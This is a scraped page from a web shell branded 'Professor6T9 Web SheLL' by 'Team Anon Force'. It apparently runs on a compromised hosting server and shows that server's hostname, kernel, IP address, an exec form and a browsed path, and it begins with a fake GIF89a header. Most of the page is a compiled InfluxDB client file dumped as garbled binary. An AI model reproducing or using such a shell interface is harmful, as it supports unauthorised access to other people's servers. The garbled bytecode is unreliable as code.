GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
notification_rule.cpython-38.pyc
U ܒi� � @ s( d Z ddlZddlZG dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � Nc @ s� e Zd ZdZddiZddiZdddddd �Zddd�Zed d� �Z e j dd� �Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zd S )�NotificationRulez�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �type�strZSlackNotificationRuleZPagerDutyNotificationRuleZSMTPNotificationRuleZHTTPNotificationRuleZTelegramNotificationRule)ZslackZ pagerduty�smtp�httpZtelegramNc C s d| _ d| _|| _dS )z.NotificationRule - a model defined in OpenAPI.Nr )�_type� discriminatorr ��selfr � r �Y/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/notification_rule.py�__init__0 s zNotificationRule.__init__c C s | j S )z�Get the type of this NotificationRule. The discriminator between other types of notification rules is "telegram". :return: The type of this NotificationRule. :rtype: str )r �r r r r r 7 s zNotificationRule.typec C s |dkrt d��|| _dS )z�Set the type of this NotificationRule. The discriminator between other types of notification rules is "telegram". :param type: The type of this NotificationRule. :type: str Nz,Invalid value for `type`, must not be `None`)� ValueErrorr r r r r r B s c C s | j | j }|| }| j�|�S )z:Return the real base class specified by the discriminator.)� attribute_mapr �discriminator_value_class_map�get)r �dataZdiscriminator_keyZdiscriminator_valuer r r �get_real_child_modelO s z%NotificationRule.get_real_child_modelc C s� i }| j �� D ]z\}}t| |�}t|t�rBttdd� |��||<